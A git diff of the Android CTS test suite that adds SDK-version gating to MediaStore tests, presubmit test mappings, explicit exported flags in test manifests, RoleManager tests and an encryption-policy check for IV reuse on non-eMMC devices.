diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_MetadataKeysTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_MetadataKeysTest.java
index e70df20..3bb44eb 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStore_MetadataKeysTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_MetadataKeysTest.java
@@ -29,12 +29,14 @@
 import android.content.pm.ComponentInfo;
 import android.content.pm.ResolveInfo;
 import android.net.Uri;
+import android.os.Build;
 import android.os.Bundle;
 import android.provider.MediaStore;
 import android.provider.apps.cts.gallerytestapp.ReviewActivity;
 import android.provider.apps.cts.gallerytestapp.ReviewPrewarmService;
 
 import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SdkSuppress;
 import androidx.test.runner.AndroidJUnit4;
 
 import com.android.internal.util.ArrayUtils;
@@ -44,6 +46,7 @@
 
 import java.util.List;
 
+@SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
 @RunWith(AndroidJUnit4.class)
 public class MediaStore_MetadataKeysTest {
     private static final String TEST_PACKAGE_NAME = "android.provider.apps.cts.gallerytestapp";
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_VideoTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_VideoTest.java
index 202c3ea..1caa7ed 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStore_VideoTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_VideoTest.java
@@ -26,6 +26,7 @@
 import android.content.Context;
 import android.database.Cursor;
 import android.net.Uri;
+import android.os.Build;
 import android.provider.MediaStore;
 import android.provider.MediaStore.Video;
 import android.provider.MediaStore.Video.VideoColumns;
@@ -34,6 +35,7 @@
 import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SdkSuppress;
 
 import org.junit.Before;
 import org.junit.Test;
@@ -44,6 +46,7 @@
 
 import java.io.File;
 
+@SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
 @RunWith(Parameterized.class)
 public class MediaStore_VideoTest {
     private Context mContext;
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_MediaTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_MediaTest.java
index 7965549..24332de 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_MediaTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_MediaTest.java
@@ -33,6 +33,7 @@
 import android.database.Cursor;
 import android.media.MediaMetadataRetriever;
 import android.net.Uri;
+import android.os.Build;
 import android.os.Environment;
 import android.os.FileUtils;
 import android.os.ParcelFileDescriptor;
@@ -49,6 +50,7 @@
 import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SdkSuppress;
 
 import org.junit.Assume;
 import org.junit.Before;
@@ -66,6 +68,7 @@
 import java.io.OutputStream;
 import java.util.Arrays;
 
+@SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
 @RunWith(Parameterized.class)
 public class MediaStore_Video_MediaTest {
     private Context mContext;
@@ -258,9 +261,6 @@
     @SecurityTest
     @Test
     public void testIsoLocationRedaction() throws Exception {
-        // STOPSHIP: remove this once isolated storage is always enabled
-        Assume.assumeTrue(StorageManager.hasIsolatedStorage());
-
         // These videos have all had their ISO location metadata (in the (c)xyz box) artificially
         // modified to +58.0000+011.0000 (middle of Skagerrak).
         int[] videoIds = new int[] {
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_ThumbnailsTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_ThumbnailsTest.java
index a2859b7..b04d1dd 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_ThumbnailsTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_ThumbnailsTest.java
@@ -36,6 +36,7 @@
 import android.graphics.Bitmap;
 import android.media.MediaMetadataRetriever;
 import android.net.Uri;
+import android.os.Build;
 import android.os.FileUtils;
 import android.provider.MediaStore;
 import android.provider.MediaStore.Files;
@@ -48,6 +49,7 @@
 import android.util.Size;
 
 import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SdkSuppress;
 
 import com.android.compatibility.common.util.MediaUtils;
 
@@ -64,6 +66,7 @@
 import java.io.InputStream;
 import java.io.OutputStream;
 
+@SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
 @RunWith(Parameterized.class)
 public class MediaStore_Video_ThumbnailsTest {
     private static final String TAG = "MediaStore_Video_ThumbnailsTest";
diff --git a/tests/tests/renderscript/TEST_MAPPING b/tests/tests/renderscript/TEST_MAPPING
new file mode 100644
index 0000000..b49b9d0
--- /dev/null
+++ b/tests/tests/renderscript/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsRenderscriptTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/renderscriptlegacy/TEST_MAPPING b/tests/tests/renderscriptlegacy/TEST_MAPPING
new file mode 100644
index 0000000..b5083ba
--- /dev/null
+++ b/tests/tests/renderscriptlegacy/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsRenderscriptLegacyTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/resolverservice/TEST_MAPPING b/tests/tests/resolverservice/TEST_MAPPING
new file mode 100644
index 0000000..bab3685
--- /dev/null
+++ b/tests/tests/resolverservice/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsResolverServiceTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/resourcesloader/TEST_MAPPING b/tests/tests/resourcesloader/TEST_MAPPING
new file mode 100644
index 0000000..9ebc996
--- /dev/null
+++ b/tests/tests/resourcesloader/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsResourcesLoaderTests"
+    }
+  ]
+}
diff --git a/tests/tests/role/CtsRoleTestApp/AndroidManifest.xml b/tests/tests/role/CtsRoleTestApp/AndroidManifest.xml
index 742db92..eb17122 100644
--- a/tests/tests/role/CtsRoleTestApp/AndroidManifest.xml
+++ b/tests/tests/role/CtsRoleTestApp/AndroidManifest.xml
@@ -17,8 +17,8 @@
   -->
 
 <manifest
-    xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.app.role.cts.app">
+     xmlns:android="http://schemas.android.com/apk/res/android"
+     package="android.app.role.cts.app">
 
     <uses-permission android:name="android.permission.SEND_SMS" />
 
@@ -41,20 +41,24 @@
             android:exported="true" />
 
         <!-- Dialer -->
-        <activity android:name=".DialerDialActivity">
+        <activity
+            android:name=".DialerDialActivity"
+            android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.DIAL" />
-                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.DEFAULT" />
             </intent-filter>
             <intent-filter>
                 <action android:name="android.intent.action.DIAL" />
-                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.DEFAULT" />
                 <data android:scheme="tel" />
             </intent-filter>
         </activity>
 
         <!-- Sms -->
-        <activity android:name=".SmsSendToActivity">
+        <activity
+            android:name=".SmsSendToActivity"
+            android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.SENDTO" />
                 <category android:name="android.intent.category.DEFAULT" />
@@ -63,7 +67,8 @@
         </activity>
         <service
             android:name=".SmsRespondViaMessageService"
-            android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE">
+            android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE"
+            android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.RESPOND_VIA_MESSAGE" />
                 <category android:name="android.intent.category.DEFAULT" />
@@ -72,14 +77,16 @@
         </service>
         <receiver
             android:name=".SmsDelieverReceiver"
-            android:permission="android.permission.BROADCAST_SMS">
+            android:permission="android.permission.BROADCAST_SMS"
+            android:exported="true">
             <intent-filter>
                 <action android:name="android.provider.Telephony.SMS_DELIVER" />
             </intent-filter>
         </receiver>
         <receiver
             android:name=".SmsWapPushDelieverReceiver"
-            android:permission="android.permission.BROADCAST_WAP_PUSH">
+            android:permission="android.permission.BROADCAST_WAP_PUSH"
+            android:exported="true">
             <intent-filter>
                 <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER" />
                 <data android:mimeType="application/vnd.wap.mms-message" />
@@ -87,7 +94,9 @@
         </receiver>
 
         <!-- Browser -->
-        <activity android:name=".BrowserActivity">
+        <activity
+            android:name=".BrowserActivity"
+            android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.VIEW" />
                 <category android:name="android.intent.category.BROWSABLE" />
@@ -97,7 +106,9 @@
         </activity>
 
         <!-- Assistant -->
-        <activity android:name=".AssistantActivity">
+        <activity
+            android:name=".AssistantActivity"
+            android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.ASSIST" />
                 <category android:name="android.intent.category.DEFAULT" />
diff --git a/tests/tests/role/CtsRoleTestApp28/AndroidManifest.xml b/tests/tests/role/CtsRoleTestApp28/AndroidManifest.xml
index 032d94d..f3ba473 100644
--- a/tests/tests/role/CtsRoleTestApp28/AndroidManifest.xml
+++ b/tests/tests/role/CtsRoleTestApp28/AndroidManifest.xml
@@ -1,5 +1,4 @@
 <?xml version="1.0" encoding="utf-8"?>
-
 <!--
   ~ Copyright (C) 2019 The Android Open Source Project
   ~
@@ -16,67 +15,67 @@
   ~ limitations under the License.
   -->
 
-<manifest
-    xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.app.role.cts.app28">
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="android.app.role.cts.app28">
 
-    <uses-sdk android:minSdkVersion="28" android:targetSdkVersion="28"/>
+    <uses-sdk android:minSdkVersion="28"
+         android:targetSdkVersion="28"/>
 
-    <uses-permission android:name="android.permission.SEND_SMS" />
+    <uses-permission android:name="android.permission.SEND_SMS"/>
 
     <application android:label="CtsRoleTestApp28">
 
-        <activity
-            android:name=".ChangeDefaultDialerActivity"
-            android:exported="true" />
+        <activity android:name=".ChangeDefaultDialerActivity"
+             android:exported="true"/>
 
-        <activity
-            android:name=".ChangeDefaultSmsActivity"
-            android:exported="true" />
+        <activity android:name=".ChangeDefaultSmsActivity"
+             android:exported="true"/>
 
         <!-- Dialer -->
-        <activity android:name=".DialerDialActivity">
+        <activity android:name=".DialerDialActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.DIAL" />
+                <action android:name="android.intent.action.DIAL"/>
                 <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
             <intent-filter>
-                <action android:name="android.intent.action.DIAL" />
+                <action android:name="android.intent.action.DIAL"/>
                 <category android:name="android.intent.category.DEFAULT"/>
-                <data android:scheme="tel" />
+                <data android:scheme="tel"/>
             </intent-filter>
         </activity>
 
         <!-- Sms -->
-        <activity android:name=".SmsSendToActivity">
+        <activity android:name=".SmsSendToActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.SENDTO" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <data android:scheme="smsto" />
+                <action android:name="android.intent.action.SENDTO"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <data android:scheme="smsto"/>
             </intent-filter>
         </activity>
-        <service
-            android:name=".SmsRespondViaMessageService"
-            android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE">
+        <service android:name=".SmsRespondViaMessageService"
+             android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.RESPOND_VIA_MESSAGE" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <data android:scheme="smsto" />
+                <action android:name="android.intent.action.RESPOND_VIA_MESSAGE"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <data android:scheme="smsto"/>
             </intent-filter>
         </service>
-        <receiver
-            android:name=".SmsDelieverReceiver"
-            android:permission="android.permission.BROADCAST_SMS">
+        <receiver android:name=".SmsDelieverReceiver"
+             android:permission="android.permission.BROADCAST_SMS"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.provider.Telephony.SMS_DELIVER" />
+                <action android:name="android.provider.Telephony.SMS_DELIVER"/>
             </intent-filter>
         </receiver>
-        <receiver
-            android:name=".SmsWapPushDelieverReceiver"
-            android:permission="android.permission.BROADCAST_WAP_PUSH">
+        <receiver android:name=".SmsWapPushDelieverReceiver"
+             android:permission="android.permission.BROADCAST_WAP_PUSH"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER" />
-                <data android:mimeType="application/vnd.wap.mms-message" />
+                <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER"/>
+                <data android:mimeType="application/vnd.wap.mms-message"/>
             </intent-filter>
         </receiver>
     </application>
diff --git a/tests/tests/role/src/android/app/role/cts/RoleControllerManagerTest.kt b/tests/tests/role/src/android/app/role/cts/RoleControllerManagerTest.kt
index d3ebfc5..3c09a30 100644
--- a/tests/tests/role/src/android/app/role/cts/RoleControllerManagerTest.kt
+++ b/tests/tests/role/src/android/app/role/cts/RoleControllerManagerTest.kt
@@ -18,7 +18,6 @@
 
 import android.app.Instrumentation
 
-import android.app.role.RoleControllerManager
 import android.app.role.RoleManager
 import android.content.Context
 import android.content.Intent
@@ -42,15 +41,14 @@
 import java.util.function.Consumer
 
 /**
- * Tests [RoleControllerManager].
+ * Tests RoleControllerManager APIs exposed on [RoleManager].
  */
 @RunWith(AndroidJUnit4::class)
 class RoleControllerManagerTest {
     private val instrumentation: Instrumentation = InstrumentationRegistry.getInstrumentation()
     private val context: Context = instrumentation.context
     private val packageManager: PackageManager = context.packageManager
-    private val roleControllerManager: RoleControllerManager =
-        context.getSystemService(RoleControllerManager::class.java)!!
+    private val roleManager: RoleManager = context.getSystemService(RoleManager::class.java)!!
 
     @Before
     fun installApp() {
@@ -95,7 +93,7 @@
     ) {
         runWithShellPermissionIdentity {
             val future = CompletableFuture<Boolean>()
-            roleControllerManager.isApplicationVisibleForRole(
+            roleManager.isApplicationVisibleForRole(
                 roleName, packageName, context.mainExecutor, Consumer { future.complete(it) }
             )
             val isVisible = future.get(TIMEOUT_MILLIS, TimeUnit.MILLISECONDS)
@@ -121,7 +119,7 @@
     private fun isRoleVisible(roleName: String): Boolean =
         runWithShellPermissionIdentity(ThrowingSupplier {
             val future = CompletableFuture<Boolean>()
-            roleControllerManager.isRoleVisible(
+            roleManager.isRoleVisible(
                 roleName, context.mainExecutor, Consumer { future.complete(it) }
             )
             future.get(TIMEOUT_MILLIS, TimeUnit.MILLISECONDS)
diff --git a/tests/tests/role/src/android/app/role/cts/RoleManagerTest.java b/tests/tests/role/src/android/app/role/cts/RoleManagerTest.java
index 00ddc34..cf52bf2 100644
--- a/tests/tests/role/src/android/app/role/cts/RoleManagerTest.java
+++ b/tests/tests/role/src/android/app/role/cts/RoleManagerTest.java
@@ -316,14 +316,6 @@
     }
 
     @Test
-    public void requestEmptyRoleThenDeniedAutomatically() throws Exception {
-        requestRole("");
-        Pair<Integer, Intent> result = waitForResult();
-
-        assertThat(result.first).isEqualTo(Activity.RESULT_CANCELED);
-    }
-
-    @Test
     public void requestInvalidRoleThenDeniedAutomatically() throws Exception {
         requestRole("invalid");
         Pair<Integer, Intent> result = waitForResult();
@@ -930,6 +922,32 @@
                 APP_PACKAGE_NAME)).isEqualTo(PackageManager.PERMISSION_GRANTED);
     }
 
+    @Test
+    public void packageManagerGetDefaultBrowserBackedByRole() throws Exception {
+        addRoleHolder(RoleManager.ROLE_BROWSER, APP_PACKAGE_NAME);
+
+        assertThat(sPackageManager.getDefaultBrowserPackageNameAsUser(UserHandle.myUserId()))
+                .isEqualTo(APP_PACKAGE_NAME);
+    }
+
+    @Test
+    public void packageManagerSetDefaultBrowserBackedByRole() throws Exception {
+        callWithShellPermissionIdentity(() -> sPackageManager.setDefaultBrowserPackageNameAsUser(
+                APP_PACKAGE_NAME, UserHandle.myUserId()));
+
+        assertIsRoleHolder(RoleManager.ROLE_BROWSER, APP_PACKAGE_NAME, true);
+    }
+
+    @Test
+    public void telephonySmsGetDefaultSmsPackageBackedByRole() throws Exception {
+        assumeTrue(sRoleManager.isRoleAvailable(RoleManager.ROLE_SMS));
+
+        addRoleHolder(RoleManager.ROLE_SMS, APP_PACKAGE_NAME);
+
+        assertThat(Telephony.Sms.getDefaultSmsPackage(sContext)).isEqualTo(APP_PACKAGE_NAME);
+    }
+
+    @NonNull
     private List<String> getRoleHolders(@NonNull String roleName) throws Exception {
         return callWithShellPermissionIdentity(() -> sRoleManager.getRoleHolders(roleName));
     }
diff --git a/tests/tests/rsblas/TEST_MAPPING b/tests/tests/rsblas/TEST_MAPPING
new file mode 100644
index 0000000..5772971
--- /dev/null
+++ b/tests/tests/rsblas/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsRsBlasTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/rscpp/TEST_MAPPING b/tests/tests/rscpp/TEST_MAPPING
new file mode 100644
index 0000000..469d1b7
--- /dev/null
+++ b/tests/tests/rscpp/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsRsCppTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/sax/TEST_MAPPING b/tests/tests/sax/TEST_MAPPING
new file mode 100644
index 0000000..f8c149d
--- /dev/null
+++ b/tests/tests/sax/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsSaxTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/secure_element/omapi/TEST_MAPPING b/tests/tests/secure_element/omapi/TEST_MAPPING
new file mode 100644
index 0000000..d3a6ad9
--- /dev/null
+++ b/tests/tests/secure_element/omapi/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsOmapiTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/security/AndroidManifest.xml b/tests/tests/security/AndroidManifest.xml
index 31f4c59..45f69c1 100644
--- a/tests/tests/security/AndroidManifest.xml
+++ b/tests/tests/security/AndroidManifest.xml
@@ -16,90 +16,88 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.security.cts">
+     package="android.security.cts">
 
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-    <uses-permission android:name="android.permission.KILL_BACKGROUND_PROCESSES" />
-    <uses-permission android:name="android.permission.CHANGE_NETWORK_STATE" />
-    <uses-permission android:name="android.permission.INTERNET" />
-    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
-    <uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS" />
-    <uses-permission android:name="android.permission.RECORD_AUDIO" />
-    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
+    <uses-permission android:name="android.permission.KILL_BACKGROUND_PROCESSES"/>
+    <uses-permission android:name="android.permission.CHANGE_NETWORK_STATE"/>
+    <uses-permission android:name="android.permission.INTERNET"/>
+    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
+    <uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS"/>
+    <uses-permission android:name="android.permission.RECORD_AUDIO"/>
+    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
 
     <!-- For FileIntegrityManager -->
-    <uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES" />
+    <uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES"/>
 
     <application android:usesCleartextTraffic="true">
-        <uses-library android:name="android.test.runner" />
-        <uses-library android:name="org.apache.http.legacy" android:required="false" />
+        <uses-library android:name="android.test.runner"/>
+        <uses-library android:name="org.apache.http.legacy"
+             android:required="false"/>
 
         <service android:name="android.security.cts.SeccompDeathTestService"
-                 android:process=":death_test_service"
-                 android:isolatedProcess="true"
-                 android:exported="true"/>
+             android:process=":death_test_service"
+             android:isolatedProcess="true"
+             android:exported="true"/>
 
         <service android:name="android.security.cts.IsolatedService"
-                 android:process=":Isolated"
-                 android:isolatedProcess="true"/>
+             android:process=":Isolated"
+             android:isolatedProcess="true"/>
 
         <service android:name="android.security.cts.activity.SecureRandomService"
-                 android:process=":secureRandom"/>
-        <activity
-            android:name="android.security.cts.MotionEventTestActivity"
-            android:label="Test MotionEvent">
+             android:process=":secureRandom"/>
+        <activity android:name="android.security.cts.MotionEventTestActivity"
+             android:label="Test MotionEvent"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
                 <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
-        <activity
-            android:name="android.security.cts.BinderExploitTest$CVE_2019_2213_Activity"
-            android:label="Test Binder Exploit Race Condition activity">
+        <activity android:name="android.security.cts.BinderExploitTest$CVE_2019_2213_Activity"
+             android:label="Test Binder Exploit Race Condition activity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
 
-        <activity
-            android:name="android.security.cts.NanoAppBundleTest$FailActivity"
-            android:label="Test Nano AppBundle customized failure catch activity">
+        <activity android:name="android.security.cts.NanoAppBundleTest$FailActivity"
+             android:label="Test Nano AppBundle customized failure catch activity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.RUN" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="android.intent.action.RUN"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity>
 
-        <service
-            android:name="android.security.cts.NanoAppBundleTest$AuthenticatorService"
-            android:enabled="true"
-            android:exported="true">
+        <service android:name="android.security.cts.NanoAppBundleTest$AuthenticatorService"
+             android:enabled="true"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.accounts.AccountAuthenticator" />
+                <action android:name="android.accounts.AccountAuthenticator"/>
             </intent-filter>
-            <meta-data
-                android:name="android.accounts.AccountAuthenticator"
-                android:resource="@xml/authenticator" />
+            <meta-data android:name="android.accounts.AccountAuthenticator"
+                 android:resource="@xml/authenticator"/>
         </service>
 
-        <activity
-            android:name="android.security.cts.SkiaJpegDecodingActivity"
-            android:label="Test overflow in libskia JPG processing">
+        <activity android:name="android.security.cts.SkiaJpegDecodingActivity"
+             android:label="Test overflow in libskia JPG processing"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
                 <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
-        <receiver android:name="com.android.cts.install.lib.LocalIntentSender"
-                  android:exported="true" />
         <receiver android:name="android.security.cts.PackageVerificationsBroadcastReceiver"
-                  android:permission="android.permission.BIND_PACKAGE_VERIFIER" >
+             android:permission="android.permission.BIND_PACKAGE_VERIFIER"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.PACKAGE_NEEDS_VERIFICATION"/>
-                <data android:mimeType="application/vnd.android.package-archive" />
+                <data android:mimeType="application/vnd.android.package-archive"/>
             </intent-filter>
         </receiver>
 
@@ -121,28 +119,33 @@
             </intent-filter>
         </activity>
 
-        <activity android:name="android.security.cts.CVE_2021_0327.IntroActivity">
+        <activity android:name="android.security.cts.CVE_2021_0327.IntroActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.intent.category.LAUNCHER" />
             </intent-filter>
         </activity>
 
-        <activity android:name="android.security.cts.CVE_2021_0327.OtherUserActivity">
+        <activity android:name="android.security.cts.CVE_2021_0327.OtherUserActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.intent.category.LAUNCHER" />
             </intent-filter>
         </activity>
 
-        <activity android:name="android.security.cts.CVE_2021_0327.TestActivity">
+        <activity android:name="android.security.cts.CVE_2021_0327.TestActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.intent.category.LAUNCHER" />
             </intent-filter>
         </activity>
 
-        <activity android:name="android.security.cts.CVE_2021_0327.workprofilesetup.ProvisionedActivity">
+        <activity
+             android:name="android.security.cts.CVE_2021_0327.workprofilesetup.ProvisionedActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.app.action.PROVISIONING_SUCCESSFUL" />
                 <category android:name="android.intent.category.DEFAULT" />
@@ -151,7 +154,8 @@
 
         <receiver
             android:name="android.security.cts.CVE_2021_0327.workprofilesetup.AdminReceiver"
-            android:permission="android.permission.BIND_DEVICE_ADMIN">
+            android:permission="android.permission.BIND_DEVICE_ADMIN"
+            android:exported="true">
             <meta-data
                 android:name="android.app.device_admin"
                 android:resource="@xml/device_admin" />
@@ -170,17 +174,16 @@
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.security.cts"
-                     android:label="CTS tests of android.security.cts">
+         android:targetPackage="android.security.cts"
+         android:label="CTS tests of android.security.cts">
         <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.security.cts"
-                     android:label="CTS tests of android.security.cts">
+         android:targetPackage="android.security.cts"
+         android:label="CTS tests of android.security.cts">
         <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CrashParserRunListener" />
+             android:value="com.android.cts.runner.CrashParserRunListener"/>
     </instrumentation>
 
 </manifest>
-
diff --git a/tests/tests/security/native/Android.bp b/tests/tests/security/native/Android.bp
new file mode 100644
index 0000000..c0cb8c5
--- /dev/null
+++ b/tests/tests/security/native/Android.bp
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test_library {
+    name: "libctssecurity_native_test_utils",
+    cflags: [
+        "-Wall",
+        "-Werror",
+    ],
+    visibility: [
+        ":__subpackages__",
+    ],
+    srcs: ["utils.cpp"],
+    export_include_dirs: ["."],
+}
diff --git a/tests/tests/security/native/encryption/Android.bp b/tests/tests/security/native/encryption/Android.bp
index 2da0ad0..35eff99 100644
--- a/tests/tests/security/native/encryption/Android.bp
+++ b/tests/tests/security/native/encryption/Android.bp
@@ -15,6 +15,9 @@
         "libbase",
         "libcutils",
     ],
+    static_libs: [
+        "libctssecurity_native_test_utils",
+    ],
     multilib: {
         lib32: {
             suffix: "32",
diff --git a/tests/tests/security/native/encryption/FileBasedEncryptionPolicyTest.cpp b/tests/tests/security/native/encryption/FileBasedEncryptionPolicyTest.cpp
index 824cb50..7051c99 100644
--- a/tests/tests/security/native/encryption/FileBasedEncryptionPolicyTest.cpp
+++ b/tests/tests/security/native/encryption/FileBasedEncryptionPolicyTest.cpp
@@ -26,6 +26,8 @@
 #include <cutils/properties.h>
 #include <gtest/gtest.h>
 
+#include "utils.h"
+
 // Non-upstream encryption modes that are used on some devices.
 #define FSCRYPT_MODE_AES_256_HEH 126
 #define FSCRYPT_MODE_PRIVATE 127
@@ -167,6 +169,26 @@
     }
 }
 
+// Ideally we'd check whether /data is on eMMC, but that is hard to do from a
+// CTS test.  To keep things simple we just check whether the system knows about
+// at least one eMMC device.
+static bool usingEmmcStorage() {
+    struct stat stbuf;
+    return lstat("/sys/class/block/mmcblk0", &stbuf) == 0;
+}
+
+// CDD 9.9.3/C-1-15: must not reuse IVs for file contents encryption except when
+// limited by hardware that only supports 32-bit IVs.  Like most other
+// encryption security requirements, CTS can't directly test this.  But the most
+// likely case where this requirement wouldn't be met is a misconfiguration
+// where FSCRYPT_POLICY_FLAG_IV_INO_LBLK_32 ("emmc_optimized" in the fstab) is
+// used on a non-eMMC based device.  CTS can test for that, so we do so below.
+static void validateEncryptionFlags(int flags) {
+    if (flags & FSCRYPT_POLICY_FLAG_IV_INO_LBLK_32) {
+        EXPECT_TRUE(usingEmmcStorage());
+    }
+}
+
 // We check the encryption policy of /data/local/tmp because it's one of the
 // only encrypted directories the shell domain has permission to open.  Ideally
 // we'd check the user's credential-encrypted storage (/data/user/0) instead.
@@ -179,11 +201,17 @@
 // fstab has the correct fileencryption= option for the userdata partition.  See
 // https://source.android.com/security/encryption/file-based.html
 TEST(FileBasedEncryptionPolicyTest, allowedPolicy) {
+    if(!deviceSupportsFeature("android.hardware.security.model.compatible")) {
+        GTEST_SKIP()
+            << "Skipping test: FEATURE_SECURITY_MODEL_COMPATIBLE missing.";
+        return;
+    }
     int first_api_level = getFirstApiLevel();
     struct fscrypt_get_policy_ex_arg arg;
     int res;
     int contents_mode;
     int filenames_mode;
+    int flags;
     bool allow_legacy_modes = false;
 
     android::base::unique_fd fd(open(DIR_TO_CHECK, O_RDONLY | O_CLOEXEC));
@@ -227,6 +255,7 @@
             GTEST_LOG_(INFO) << "Detected v1 encryption policy";
             contents_mode = arg.policy.v1.contents_encryption_mode;
